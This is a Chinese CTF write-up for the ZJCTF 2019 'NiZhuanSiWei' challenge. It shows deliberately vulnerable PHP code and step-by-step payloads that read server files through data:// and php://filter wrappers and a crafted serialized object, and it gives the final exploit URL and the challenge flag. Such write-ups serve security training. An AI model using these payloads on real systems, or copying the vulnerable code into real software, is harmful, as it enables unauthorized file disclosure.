进入题目链接
直接就是一段代码需要审计
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这道题考点:php伪协议
![图片[1]-[ZJCTF 2019]NiZhuanSiWei – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-75-1024x376.png)
第一个绕过:(data伪协议写入文件)
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里需要我们传入text且其内容为welcome to the zjctf,然后用data协议来执行PHP代码
构造payload:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
一般情况是需要base64加密的,为了绕过某些过滤
第二个绕过:(php://filter用于读取源码)
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
filter伪协议来读源码,同样使用base64编码
构造payload:
file=php://filter/read=convert.base64-encode/resource=useless.php
进行base64解码得
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三个绕过:(反序列化)
进行测试就可以了
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
![图片[2]-[ZJCTF 2019]NiZhuanSiWei – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-76-1024x240.png)
结果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造最终的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
![图片[3]-[ZJCTF 2019]NiZhuanSiWei – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-77.png)
flag在源码里
![图片[4]-[ZJCTF 2019]NiZhuanSiWei – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-78.png)
所以最终flag为
flag{48f43da1-7c83-4f28-bf71-ddfb42ff3b1e}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END














请登录后查看评论内容